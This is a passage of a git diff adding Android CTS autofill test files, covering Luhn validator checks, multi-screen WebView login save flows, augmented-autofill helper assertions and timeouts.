+        final UiObject2 object = mUiBot
+                .assertShownByText(InstrumentedAutoFillService.sServiceLabel);
+        object.click();
+
+        // TODO(b/79615759): should assert that "autofill_confirmation_message" is shown, but that
+        // string belongs to Settings - we need to move it to frameworks/base first (and/or use
+        // a resource id, also on framework).
+        // So, for now, just asserts the service name is showing again (in the popup), and the other
+        // services are not showing (because the popup hides then).
+
+        final UiObject2 msgObj = mUiBot.assertShownById("android:id/message");
+        final String msg = msgObj.getText();
+        assertWithMessage("Wrong warning message").that(msg)
+                .contains(InstrumentedAutoFillService.sServiceLabel);
+
+        // NOTE: assertion below is fine because it looks for the full text, not a substring
+        mUiBot.assertNotShowingForSure(InstrumentedAutoFillService.sServiceLabel);
+        mUiBot.assertNotShowingForSure(InstrumentedAutoFillServiceCompatMode.sServiceLabel);
+        mUiBot.assertNotShowingForSure(NoOpAutofillService.SERVICE_LABEL);
+        mUiBot.assertNotShowingForSure(BadAutofillService.SERVICE_LABEL);
+
+        // Finishes and asserts result.
+        mUiBot.pressBack();
+        mActivity.assertResult(Activity.RESULT_CANCELED);
+    }
+
+    // TODO(b/79615759): add testWarningShown_userRejectsByTappingCancel() and
+    // testWarningShown_userAccepts() - these tests would require adding the strings and resource
+    // ids to frameworks/base
+
+    private Intent newSettingsIntent() {
+        return new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .setData(Uri.parse("package:" + Helper.MY_PACKAGE));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java
new file mode 100644
index 0000000..c17819a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/ValidatorTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.ValueFinder;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class ValidatorTest extends AbstractLoginActivityTestCase {
+
+    @Test
+    public void testShowUiWhenValidatorPass() throws Exception {
+        integrationTest(true);
+    }
+
+    @Test
+    public void testDontShowUiWhenValidatorFails() throws Exception {
+        integrationTest(false);
+    }
+
+    private void integrationTest(boolean willSaveBeShown) throws Exception {
+        enableService();
+
+        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+
+        // Set response
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+                    final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+                    // Validation check to make sure the validator is properly configured
+                    assertValidator(validator, usernameId, username, willSaveBeShown);
+                    builder.setValidator(validator);
+                })
+                .build());
+
+        // Trigger auto-fill
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText("pass"));
+        mActivity.tapLogin();
+
+        if (willSaveBeShown) {
+            mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+            sReplier.getNextSaveRequest();
+        } else {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+    }
+
+    private void assertValidator(InternalValidator validator, AutofillId id, String text,
+            boolean valid) {
+        final ValueFinder valueFinder = mock(ValueFinder.class);
+        doReturn(text).when(valueFinder).findByAutofillId(id);
+        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java
new file mode 100644
index 0000000..009a9cb
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/servicebehavior/WebViewMultiScreenLoginActivityTest.java
@@ -0,0 +1,324 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.servicebehavior;
+
+import static android.autofillservice.cts.activities.AbstractWebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.AbstractWebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithUsernameAndPassword;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByHtmlName;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewMultiScreenLoginActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Pattern;
+
+public class WebViewMultiScreenLoginActivityTest
+        extends AbstractWebViewTestCase<WebViewMultiScreenLoginActivity> {
+
+    private static final String TAG = "WebViewMultiScreenLoginTest";
+
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private WebViewMultiScreenLoginActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<WebViewMultiScreenLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewMultiScreenLoginActivity>(
+                WebViewMultiScreenLoginActivity.class) {
+
+            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+            // disable autofill for optimization when it returns false, and unfortunately the value
+            // returned by that method does not change when the service is enabled / disabled, so we
+            // need to start enable the service before launching the activity.
+            // Once that's fixed, remove this overridden method.
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testSave_eachFieldSeparately() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        /*
+         * First screen: username
+         */
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, HTML_NAME_USERNAME)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId usernameId = nodeResolver.apply(HTML_NAME_USERNAME);
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.username, usernameTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+        } else {
+            mActivity.getUsernameInput().setText("dude");
+        }
+        mActivity.getNextButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi1 = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME);
+        mUiBot.assertChildText(saveUi1, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi1, ID_USERNAME, "dude");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi1, true);
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest1.contexts).hasSize(1);
+        assertTextAndValue(findNodeByHtmlName(saveRequest1.structure, HTML_NAME_USERNAME), "dude");
+        mUiBot.assertSaveNotShowing();
+
+        /*
+         * Second screen: password
+         */
+        mActivity.waitForPasswordScreen(mUiBot);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, HTML_NAME_PASSWORD)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId passwordId = nodeResolver.apply(HTML_NAME_PASSWORD);
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.password, passwordTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getPasswordInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
+        } else {
+            mActivity.getPasswordInput().setText("sweet");
+        }
+        mActivity.getLoginButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.assertChildText(saveUi2, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi2, ID_PASSWORD, "sweet");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi2, true);
+        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest2.contexts).hasSize(1);
+        assertTextAndValue(findNodeByHtmlName(saveRequest2.structure, HTML_NAME_PASSWORD), "sweet");
+        mUiBot.assertSaveNotShowing();
+    }
+
+    @Test
+    public void testSave_bothFieldsAtOnce() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        /*
+         * First screen: username
+         */
+        final AtomicReference<AutofillId> usernameId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setIgnoreFields(HTML_NAME_USERNAME)
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    usernameId.set(nodeResolver.apply(HTML_NAME_USERNAME));
+
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Change username to trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+        } else {
+            mActivity.getUsernameInput().setText("dude");
+        }
+        mActivity.getNextButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI was not shown.
+        mUiBot.assertSaveNotShowing();
+
+        /*
+         * Second screen: password
+         */
+        mActivity.waitForPasswordScreen(mUiBot);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_PASSWORD)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId passwordId = nodeResolver.apply(HTML_NAME_PASSWORD);
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId.get(), MATCH_ALL, "$1").build();
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    Log.d(TAG, "setting CustomDescription: u=" + usernameId + ", p=" + passwordId);
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.username, usernameTrans)
+                            .addChild(R.id.password, passwordTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getPasswordInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts).hasSize(2);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
+        } else {
+            mActivity.getPasswordInput().setText("sweet");
+        }
+        mActivity.getLoginButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi, true);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        mUiBot.assertSaveNotShowing();
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByHtmlName(previousStructure, HTML_NAME_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByHtmlName(currentStructure, HTML_NAME_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(mActivity.getComponentName());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java
new file mode 100644
index 0000000..00e9a9e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+import java.util.regex.Pattern;
+
+/**
+ * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
+ */
+public final class AntiTrimmerTextWatcher implements TextWatcher {
+
+    /**
+     * Regex used to revert a String that was "anti-trimmed".
+     */
+    public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
+
+    private final EditText mView;
+
+    public AntiTrimmerTextWatcher(EditText view) {
+        mView = view;
+        mView.addTextChangedListener(this);
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        mView.removeTextChangedListener(this);
+        mView.setText("#" + s + "#");
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
new file mode 100644
index 0000000..fef24f1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+import static android.view.autofill.AutofillManager.MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.content.ComponentName;
+import android.service.autofill.augmented.FillRequest;
+import android.util.Log;
+import android.util.Pair;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.view.inputmethod.InlineSuggestionsRequest;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper for common funcionalities.
+ */
+public final class AugmentedHelper {
+
+    private static final String TAG = AugmentedHelper.class.getSimpleName();
+
+    @NonNull
+    public static String getActivityName(@Nullable FillRequest request) {
+        if (request == null) return "N/A (null request)";
+
+        final ComponentName componentName = request.getActivityComponent();
+        if (componentName == null) return "N/A (no component name)";
+
+        return componentName.flattenToShortString();
+    }
+
+    /**
+     * Sets the augmented capture service.
+     */
+    public static void setAugmentedService(@NonNull String service) {
+        Log.d(TAG, "Setting service to " + service);
+        runShellCommand("cmd autofill set temporary-augmented-service 0 %s %d", service,
+                MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS);
+    }
+
+    /**
+     * Resets the content capture service.
+     */
+    public static void resetAugmentedService() {
+        Log.d(TAG, "Resetting back to default service");
+        runShellCommand("cmd autofill set temporary-augmented-service 0");
+    }
+
+    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
+            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
+            @Nullable AutofillValue expectedFocusedValue) {
+        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
+    }
+
+    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
+            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
+            @Nullable AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
+        Objects.requireNonNull(activity);
+        Objects.requireNonNull(expectedFocusedId);
+        assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
+        assertWithMessage("no FillRequest on %s", request).that(request.request).isNotNull();
+        assertWithMessage("no FillController on %s", request).that(request.controller).isNotNull();
+        assertWithMessage("no FillCallback on %s", request).that(request.callback).isNotNull();
+        assertWithMessage("no CancellationSignal on %s", request).that(request.cancellationSignal)
+                .isNotNull();
+        // NOTE: task id can change, we might need to set it in the activity's onCreate()
+        assertWithMessage("wrong task id on %s", request).that(request.request.getTaskId())
+                .isEqualTo(activity.getTaskId());
+
+        final ComponentName actualComponentName = request.request.getActivityComponent();
+        assertWithMessage("no activity name on %s", request).that(actualComponentName).isNotNull();
+        assertWithMessage("wrong activity name on %s", request).that(actualComponentName)
+                .isEqualTo(activity.getComponentName());
+        final AutofillId actualFocusedId = request.request.getFocusedId();
+        assertWithMessage("no focused id on %s", request).that(actualFocusedId).isNotNull();
+        assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
+                .isEqualTo(expectedFocusedId);
+        final AutofillValue actualFocusedValue = request.request.getFocusedValue();
+        if (expectedFocusedValue != null) {
+            assertWithMessage("no focused value on %s", request).that(
+                    actualFocusedValue).isNotNull();
+            assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+        } else {
+            assertWithMessage("expecting null focused value on %s", request).that(
+                    actualFocusedValue).isNull();
+        }
+        if (expectedFocusedId.isNonVirtual()) {
+            final AssistStructure.ViewNode focusedViewNode = request.request.getFocusedViewNode();
+            assertWithMessage("no focused view node on %s", request).that(
+                    focusedViewNode).isNotNull();
+            assertWithMessage("wrong autofill id in focused view node %s", focusedViewNode).that(
+                    focusedViewNode.getAutofillId()).isEqualTo(expectedFocusedId);
+            assertWithMessage("unexpected autofill value in focused view node %s",
+                    focusedViewNode).that(focusedViewNode.getAutofillValue()).isEqualTo(
+                    expectedFocusedValue);
+            assertWithMessage("children nodes should not be populated for focused view node %s",
+                    focusedViewNode).that(
+                    focusedViewNode.getChildCount()).isEqualTo(0);
+        }
+        final InlineSuggestionsRequest inlineRequest =
+                request.request.getInlineSuggestionsRequest();
+        if (hasInlineRequest) {
+            assertWithMessage("no inline request on %s", request).that(inlineRequest).isNotNull();
+        } else {
+            assertWithMessage("exist inline request on %s", request).that(inlineRequest).isNull();
+        }
+    }
+
+    public static void assertAutofillValue(@NonNull AutofillValue expectedValue,
+            @NonNull AutofillValue actualValue) {
+        // It only supports text values for now...
+        assertWithMessage("expected value is not text: %s", expectedValue)
+                .that(expectedValue.isText()).isTrue();
+        assertAutofillValue(expectedValue.getTextValue().toString(), actualValue);
+    }
+
+    public static void assertAutofillValue(@NonNull String expectedValue,
+            @NonNull AutofillValue actualValue) {
+        assertWithMessage("actual value is not text: %s", actualValue)
+                .that(actualValue.isText()).isTrue();
+
+        assertWithMessage("wrong autofill value").that(actualValue.getTextValue().toString())
+                .isEqualTo(expectedValue);
+    }
+
+    @NonNull
+    public static String toString(@Nullable List<Pair<AutofillId, AutofillValue>> values) {
+        if (values == null) return "null";
+        final StringBuilder string = new StringBuilder("[");
+        final int size = values.size();
+        for (int i = 0; i < size; i++) {
+            final Pair<AutofillId, AutofillValue> value = values.get(i);
+            string.append(i).append(':').append(value.first).append('=')
+                   .append(Helper.toString(value.second));
+            if (i < size - 1) {
+                string.append(", ");
+            }
+
+        }
+        return string.append(']').toString();
+    }
+
+    @NonNull
+    public static String toString(@Nullable FillRequest request) {
+        if (request == null) return "(null request)";
+
+        final StringBuilder string =
+                new StringBuilder("FillRequest[act=").append(getActivityName(request))
+                .append(", taskId=").append(request.getTaskId());
+
+        final AutofillId focusedId = request.getFocusedId();
+        if (focusedId != null) {
+            string.append(", focusedId=").append(focusedId);
+        }
+        final AutofillValue focusedValue = request.getFocusedValue();
+        if (focusedValue != null) {
+            string.append(", focusedValue=").append(focusedValue);
+        }
+
+        return string.append(']').toString();
+    }
+
+    // Used internally by UiBot to assert the UI
+    public static String getContentDescriptionForUi(@NonNull AutofillId focusedId) {
+        return "ui_for_" + focusedId;
+    }
+
+    private AugmentedHelper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+
+    /**
+     * Awaits for a latch to be counted down.
+     */
+    public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+            @Nullable Object... args)
+            throws InterruptedException {
+        final boolean called = latch.await(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (!called) {
+            throw new IllegalStateException(String.format(fmt, args)
+                    + " in " + CONNECTION_TIMEOUT.ms() + "ms");
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java
new file mode 100644
index 0000000..d853b58
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import com.android.compatibility.common.util.Timeout;
+
+/**
+ * Timeouts for common tasks.
+ */
+public final class AugmentedTimeouts {
+
+    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 1_000;
+    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 3_000;
+
+    /**
+     * Timeout for expected augmented autofill requests.
+     */
+    public static final Timeout AUGMENTED_FILL_TIMEOUT = new Timeout("AUGMENTED_FILL_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout until framework binds / unbinds from service.
+     */
+    public static final Timeout AUGMENTED_CONNECTION_TIMEOUT = new Timeout(
+            "AUGMENTED_CONNECTION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when the augmented autofill UI not expected to be shown - test will sleep for
